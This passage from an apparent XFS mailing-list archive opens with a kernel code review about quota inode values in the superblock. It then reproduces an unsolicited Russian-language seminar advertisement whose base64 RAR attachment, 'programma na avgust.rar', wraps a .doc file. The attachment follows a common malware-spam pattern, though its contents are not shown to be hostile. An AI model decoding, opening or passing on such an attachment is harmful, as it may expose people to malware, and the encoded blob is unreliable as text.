which leads to two values for a quota inode to be invalid: > > > > > + * 0 and NULLFSINO. Fix it. > > > > > + */ > > > > > + if (sbp->sb_uquotino == 0) > > > > > + sbp->sb_uquotino = NULLFSINO; > > > > > + if (sbp->sb_gquotino == 0) > > > > > + sbp->sb_gquotino = NULLFSINO; > > > > > + if (sbp->sb_pquotino == 0) > > > > > + sbp->sb_pquotino = NULLFSINO; > > > > > > > > There coment needs to point out that this is changing the in-memory > > > > superblock value right here, so we don't need to make changing > > > > sb_pquotino dependent on the superblock having support for this > > > > feature. > > > > > > But, we are not just changing just for sb_pquotino, right ? > > > > Sure, but those other two fields are always present in the > > superblock... > > > > > Since we are changing all the fields independent of superblock > > > supporting sb_pquotino, I thought the comment should be generic. > > > > So why is it safe to modify this when sb_pquotino isn't valid in the > > superblock (i.e. v4 superblock) and the only valid on-disk value for > > an unused section of the superblock is zero? > > > > That's what the comment needs to explain. > > How about this: > > /* > * older mkfs doesn't initialize quota inodes to NULLFSINO > * This leads to in-core values having two different values > * for a quota inode to be invalid: 0 and NULLFSINO. > * Change it to a single value NULLFSINO. > * > * Note that this change affect only the in-core values. > * These values are not written back to disk unless any > * quota information is written to the disk. Even in that > * case, sb_pquotino field is not written to disk unless > * the superblock supports pquotino. > */ Nice explanation. Expand it out to 80 columns and it's golden :) Cheers, Dave. -- Dave Chinner david@fromorbit.com From natalia_reddy@coverstreet.com Thu Jul 18 05:34:39 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 4256A7F3F for ; Thu, 18 Jul 2013 05:34:39 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id DB5ADAC00A for ; Thu, 18 Jul 2013 03:34:38 -0700 (PDT) X-ASG-Debug-ID: 1374143675-04bdf0245b124c50001-NocioJ Received: from webserver.ksu.edu.ru (mail.ksu.edu.ru [85.113.210.170]) by cuda.sgi.com with ESMTP id KQTyVZmMJC25u09X for ; Thu, 18 Jul 2013 03:34:36 -0700 (PDT) X-Barracuda-Envelope-From: natalia_reddy@coverstreet.com X-Barracuda-Apparent-Source-IP: 85.113.210.170 Received: from Unknown (unknown [114.4.44.206]) by webserver.ksu.edu.ru (Postfix) with ESMTPA id 85D60548126; Thu, 18 Jul 2013 14:05:12 +0400 (MSK) Message-ID: <16D85F536EEF4C57848153C22FA103B9@resn> Reply-To: =?windows-1251?B?wPDh6PLw4Obt++kg8+/w4OLr//756Ok=?= From: =?windows-1251?B?wPDh6PLw4Obt++kg8+/w4OLr//756Ok=?= To: , , , Subject: =?windows-1251?B?8/e48iDo8erg?= Date: Thu, 18 Jul 2013 12:05:54 +0200 X-ASG-Orig-Subj: =?windows-1251?B?8/e48iDo8erg?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1C46_01CE83AF.277445D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 16.4.3505.912 X-MimeOLE: Produced By Microsoft MimeOLE V16.4.3505.912 X-Barracuda-Connect: mail.ksu.edu.ru[85.113.210.170] X-Barracuda-Start-Time: 1374143676 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.137111 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1C46_01CE83AF.277445D0 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1C47_01CE83AF.277445D0" ------=_NextPart_001_1C47_01CE83AF.277445D0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=EE=E4=EE=EB=E6=E0=E5=F2=F1=FF =ED=E0=E1=EE=F0 =F3=F7=E0=F1=F2=ED=E8= =EA=EE=E2 =ED=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EA=F0=E0=F2=EA=EE=F1=F0= =EE=F7=ED=EE=E3=EE =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA=E0= =F6=E8=E8 =E4=EB=FF =FE=F0=E8=F1=F2=EE=E2 =EF=EE =E4=EE=E3=EE=E2=EE=F0=ED= =EE=E9, =E8=F1=EA=EE=E2=EE=E9 =E8 =EF=F0=E5=F2=E5=ED=E7=E8=EE=ED=ED=EE=E9= =F0=E0=E1=EE=F2=E5. =D1=E5=EC=E8=ED=E0=F0 =E1=F3=E4=E5=F2 =EF=F0=EE=F5=EE=E4=E8=F2=FC =F1 26 = =EF=EE 27 =E0=E2=E3. 2=CEl=E7 =E3=EE=E4=E0 =E2 =F1=E0=EC=EE=EC =F6=E5=ED=F2= =F0=E5 =D1=CF=E1. =CF=F0=E5=E4=EB=E0=E3=E0=E5=EC =C2=E0=EC =EF=F0=EE=E9=F2=E8 =FD=EA=F1=EF=F0= =E5=F1=F1-=EA=F3=F0=F1 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E3=EE =EE=E1=F3=F7=E5= =ED=E8=FF =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC: - =CF=EE=F1=EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8= =EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8= =F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1=F2=E8; - =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8= =E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2=E5=E3=E8=FF =E2=E5=E4=E5=ED=E8=FF =E4=E5= =EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB=F5 =EE=F0=E3=E0=ED=E0=F5; - =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8 =E2=E7=FB=F1=EA=E0=ED=E8=FF =ED=E5=F3= =F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6=E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2=FB=F5; - =CF=F0=E0=E2=EE=E2=FB=E5 =EC=E5=F5=E0=ED=E8=E7=EC=FB =E2=E7=FB=F1=EA=E0= =ED=E8=FF =E7=E0=E4=EE=EB=E6=E5=ED=ED=EE=F1=F2=E8; - =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF=F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE= =F1=FB =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2= ; - =D2=E5=F5=ED=EE=EB=EE=E3=E8=F7=E5=F1=EA=E8=E5 =E0=F1=EF=E5=EA=F2=FB =EF= =F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=FF =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1= =EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1= =F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2; - =CF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0=EC=EB=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE= =F0=EE=E2, =E0=ED=E0=EB=E8=E7 =EE=F8=E8=E1=EE=EA; - =D1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8=EA=E0 =E7=E0=F9=E8=F2=FB =E8= =ED=F2=E5=F0=E5=F1=EE=E2 =EA=EE=EC=EF=E0=ED=E8=E8 =EF=F0=E8 =ED=E5=E8=F1=EF= =EE=EB=ED=E5=ED=E8=E8 =E4=EE=E3=EE=E2=EE=F0=E0; - =CF=F0=E0=E2=E8=EB=E0 =EF=F0=E0=E2=E8=EB=FC=ED=EE=E3=EE =F1=EE=F1=F2=E0= =E2=EB=E5=ED=E8=FF =EF=F0=E5=F2=E5=ED=E7=E8=E9; =E4=EE=EA=E0=E7=E0=F2=E5=EB= =FC=F1=F2=E2=E0; - =DE=F0=E8=E4=E8=F7=E5=F1=EA=E0=FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED=F2= =F0=E0=E3=E5=ED=F2=EE=E2; - =D0=E0=F1=F2=EE=F0=E6=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=E0 =EA=E0=EA =EC= =E5=F5=E0=ED=E8=E7=EC =E7=E0=F9=E8=F2=FB =EF=F0=E0=E2 =EA=F0=E5=E4=E8=F2=EE= =F0=E0; - =D3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8; =EF=F0=EE=F2=EE=EA=EE=EB=FB= =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=E9; =EF=EE=E4=F2=E2=E5=F0=E6=E4=E5=ED=E8=E5= =EF=EE=EB=ED=EE=EC=EE=F7=E8=E9; =D3=F1=EB=EE=E2=E8=FF =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8, =EF=EE=EB=ED=E0=FF= =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF: 8 { = =EA=EE=E4 =CF=E8=F2=E5=F0=E0 } 98 6 9=C7 * =D7 7 ------=_NextPart_001_1C47_01CE83AF.277445D0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

    =CF=F0=EE=E4=EE=EB=E6=E0=E5=F2=F1=FF =ED=E0=E1=EE=F0 =F3=F7=E0=F1=F2=ED= =E8=EA=EE=E2 =ED=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=E5 =EA=F0=E0=F2=EA=EE=F1= =F0=EE=F7=ED=EE=E3=EE =EF=EE=E2=FB=F8=E5=ED=E8=FF =EA=E2=E0=EB=E8=F4=E8=EA= =E0=F6=E8=E8 =E4=EB=FF =FE=F0=E8=F1=F2=EE=E2 =EF=EE =E4=EE=E3=EE=E2=EE=F0= =ED=EE=E9, =E8=F1=EA=EE=E2=EE=E9 =E8 =EF=F0=E5=F2=E5=ED=E7=E8=EE=ED=ED=EE= =E9 =F0=E0=E1=EE=F2=E5.

    =D1=E5=EC=E8=ED=E0=F0 =E1=F3= =E4=E5=F2 =EF=F0=EE=F5=EE=E4=E8=F2=FC =F1 26 =EF=EE 27 =E0=E2=E3. 2=CEl=E7= =E3=EE=E4=E0 =E2 =F1=E0=EC=EE=EC =F6=E5=ED=F2=F0=E5 =D1=CF=E1.

    =CF=F0=E5=E4=EB=E0=E3=E0=E5=EC =C2=E0=EC =EF=F0=EE=E9=F2=E8 =FD=EA=F1= =EF=F0=E5=F1=F1-=EA=F3=F0=F1 =FD=F4=F4=E5=EA=F2=E8=E2=ED=EE=E3=EE =EE=E1=F3= =F7=E5=ED=E8=FF =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC:

    - =CF=EE=F1= =EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8=EA=E0 =EF=EE= =E2=EE=EF=F0=EE=F1=E0=EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8=F1=EA=EE=E2=EE= =E9 =E4=E0=E2=ED=EE=F1=F2=E8;
    - =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0= =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE=E2 =E8 =F1=F2=F0=E0=F2= =E5=E3=E8=FF =E2=E5=E4=E5=ED=E8=FF =E4=E5=EB=E0 =E2 =F1=F3=E4=E5=E1=ED=FB= =F5 =EE=F0=E3=E0=ED=E0=F5;
    - =CE=F1=EE=E1=E5=ED=ED=EE=F1=F2=E8= =E2=E7=FB=F1=EA=E0=ED=E8=FF =ED=E5=F3=F1=F2=EE=E9=EA=E8 =E8 =EF=F0=EE=F6= =E5=ED=F2=EE=E2 =E3=EE=E4=EE=E2=FB=F5;
    - =CF=F0=E0=E2=EE=E2=FB= =E5 =EC=E5=F5=E0=ED=E8=E7=EC=FB =E2=E7=FB=F1=EA=E0=ED=E8=FF =E7=E0=E4=EE=EB= =E6=E5=ED=ED=EE=F1=F2=E8;
    - =C0=EA=F2=F3=E0=EB=FC=ED=FB=E5 =EF= =F0=E0=E2=EE=E2=FB=E5 =E2=EE=EF=F0=EE=F1=FB =E8=F1=EF=EE=EB=ED=E5=ED=E8=FF= =EE=E1=FF=E7=E0=F2=E5=EB=FC=F1=F2=E2;
    - =D2=E5=F5=ED=EE=EB=EE= =E3=E8=F7=E5=F1=EA=E8=E5 =E0=F1=EF=E5=EA=F2=FB =EF=F0=EE=F2=E8=E2=EE=E4=E5= =E9=F1=F2=E2=E8=FF =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1=EA=E8=EC =E4=E5=E9=F1=F2= =E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1=F2=ED=FB=F5 =EA=EE=ED=F2= =F0=E0=E3=E5=ED=F2=EE=E2;
    - =CF=F0=E0=E2=E8=EB=E0 =EE=F4=EE=F0= =EC=EB=E5=ED=E8=FF =E4=EE=E3=EE=E2=EE=F0=EE=E2, =E0=ED=E0=EB=E8=E7 =EE=F8= =E8=E1=EE=EA;
    - =D1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8=EA= =E0 =E7=E0=F9=E8=F2=FB =E8=ED=F2=E5=F0=E5=F1=EE=E2 =EA=EE=EC=EF=E0=ED=E8=E8= =EF=F0=E8 =ED=E5=E8=F1=EF=EE=EB=ED=E5=ED=E8=E8 =E4=EE=E3=EE=E2=EE=F0=E0;=
    - =CF=F0=E0=E2=E8=EB=E0 =EF=F0=E0=E2=E8=EB=FC=ED=EE=E3=EE =F1= =EE=F1=F2=E0=E2=EB=E5=ED=E8=FF =EF=F0=E5=F2=E5=ED=E7=E8=E9; =E4=EE=EA=E0=E7= =E0=F2=E5=EB=FC=F1=F2=E2=E0;
    - =DE=F0=E8=E4=E8=F7=E5=F1=EA=E0= =FF =EF=F0=EE=E2=E5=F0=EA=E0 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2;
    =
    - =D0=E0=F1=F2=EE=F0=E6=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=E0 =EA=E0= =EA =EC=E5=F5=E0=ED=E8=E7=EC =E7=E0=F9=E8=F2=FB =EF=F0=E0=E2 =EA=F0=E5=E4= =E8=F2=EE=F0=E0;
    - =D3=F1=EB=EE=E2=ED=FB=E5 =F1=E4=E5=EB=EA=E8= ; =EF=F0=EE=F2=EE=EA=EE=EB=FB =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=E9; =EF=EE=E4= =F2=E2=E5=F0=E6=E4=E5=ED=E8=E5 =EF=EE=EB=ED=EE=EC=EE=F7=E8=E9;

    <= /div>

    =D3=F1=EB=EE=E2=E8=FF =F0=E5=E3=E8=F1=F2=F0=E0=F6=E8=E8, =EF=EE= =EB=ED=E0=FF =EF=F0=EE=E3=F0=E0=EC=EC=E0 =EC=E5=F0=EE=EF=F0=E8=FF=F2=E8=FF= : 8 { =EA=EE=E4 =CF=E8=F2=E5=F0=E0 } 98 6 9=C7 * =D7= 7

    ------=_NextPart_001_1C47_01CE83AF.277445D0-- ------=_NextPart_000_1C46_01CE83AF.277445D0 Content-Type: application/octet-stream; name="programma na avgust.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="programma na avgust.rar" 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 JvrRPClhquL4WSxWGppPGoxPBPGG/X7oYUIE9dCkesKTwk2E0l1oGrknIKaVAxwhZBY3JbVYH9gf l8aHRGOXt5iomPhPVX6AkYuEjvpZpDCRGpy3DwW8RKz15cf6ZTkTnOjdoyaXncbRXHDybLPqq5+u ttmClsc112e6mHotldNoo2yPsqtBcb75K76uW68xX1zMeGA7V3vsPj4OT68zqPF/HetM7zbU0XRO lLRqfFXcxfebzfnoe8sorT9/405c+4OVO2IlrLpOlXGORwMmv4yhXrasbnEu319icZO99nj3r3ne /veRhfPaq9bubMfVKcFnRZLgTUxSfx51Njxebr151HAaoG9aKfVt3QMs1bkVcwWJ7LV1JzjQXX7u JWcC6Si3zuKgatxfL/43Xts/7KF75yrqZy4drrXzFb2yei2dG64NmzEd6eVOy7MuM2a2M3A9jcap 1HiXaWlTqsi90vM037bkobTwjMB7fo2EiI5nZifOOluONFtT+ujx+2lOTJ/NP7xcs2GZ9LLvLPo5 MXVZMVDsVi6Ni7nRf+AoKU6o47SUfl/Jz9Oryfn6uZ/ZCtZzTqG86zy68OH6uGc9xisbPY/SaazK N7kIvIaOS6Owv21unJ0blxWixaV7nEX2q6rK89/2t11bxB8meVp98eui1wTHitNloy/c2x5vPrtA 23P8/GtXXmt1/1ctMz1Lr/YfxM+/7rFaxloXpBEt2ZueB/WC0Myz9e7baXmYTT8ph5Gw2Xn5norI 7zByP3LUoUZIRvocj4eEwkIzpny+wMTAw0JGkYflPiPqlvEKs7dWT0OHl+e3YCdZHqC13D1c75BP OdXnfgTE/oOjzaHryjdxuos8v8LkqfQy52uKmShOKzSuxpMQy6axTPQe1/fMsR1eBYex2pBcnpvK LHUuPBjvmk7Ly5fH6rYdNDzNha+XZKNl6d92bHgnPJ3D5+z+fltPWeu5a7OpH28ZfxWWY2q5v9go FKUsRMP+LytBC+0X0ceJsT0ubiy9+v6PbbHWrFtymjb7vRc5Um8Do+dbO3GbVho35qndfnF20ePV Pks9obc7r8ygvjehQ3XJ7Kbo6B0eZhRyXK+eg/D7/pkrR+kvpMpMY3sK0lDYrqUrr4eLIUPg6cro fpYmOhjOna78yyMrvXSj/NvmZJune7Xrkw5dS4EnxJC59v9JV7o/B252j1NBCWHLyqGYlqFp1clo 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 